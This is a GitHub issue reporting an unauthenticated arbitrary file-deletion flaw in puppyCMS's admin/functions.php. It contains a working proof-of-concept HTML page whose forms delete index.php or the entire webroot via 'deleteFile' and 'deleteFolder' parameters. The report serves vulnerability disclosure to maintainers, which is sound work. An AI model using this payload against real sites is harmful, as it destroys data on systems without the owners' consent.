Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a Arbitrary File Deletion vulnerability that can remove everything without admin login. #15

Open
Abstin opened this issue Mar 27, 2019 · 0 comments

Comments

@Abstin
Copy link

Abstin commented Mar 27, 2019

The vuln file is '/puppyCMS/admin/functions.php'.
No need to login to admin, open the following one page.
rmexp.html--delete file/folder

<html>
<head>
<title>File Upload Form</title>
</head>
<body>
<script>var page = "http://127.0.0.1/puppyCMS/admin/functions.php";</script>

This form allows you to remove /index.php.<br>
<form id="test1" action="" method="post"><br>
<input type='hidden' name="deleteFile" value="index.php" />
<input type='hidden' name="path" value="../" />
<input type="submit" value="Submit">
</form>
<br/>
<br/>
<br/>

This form allows you to remove the entire puppyCMS webroot dirctory.<br>
<form id="test2" action="" method="post"><br>
<input type='hidden' name="deleteFolder" value="../" />
<input type="submit" value="Submit">
</form>

<script>
document.getElementById("test1").action = page;
document.getElementById("test2").action = page;
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant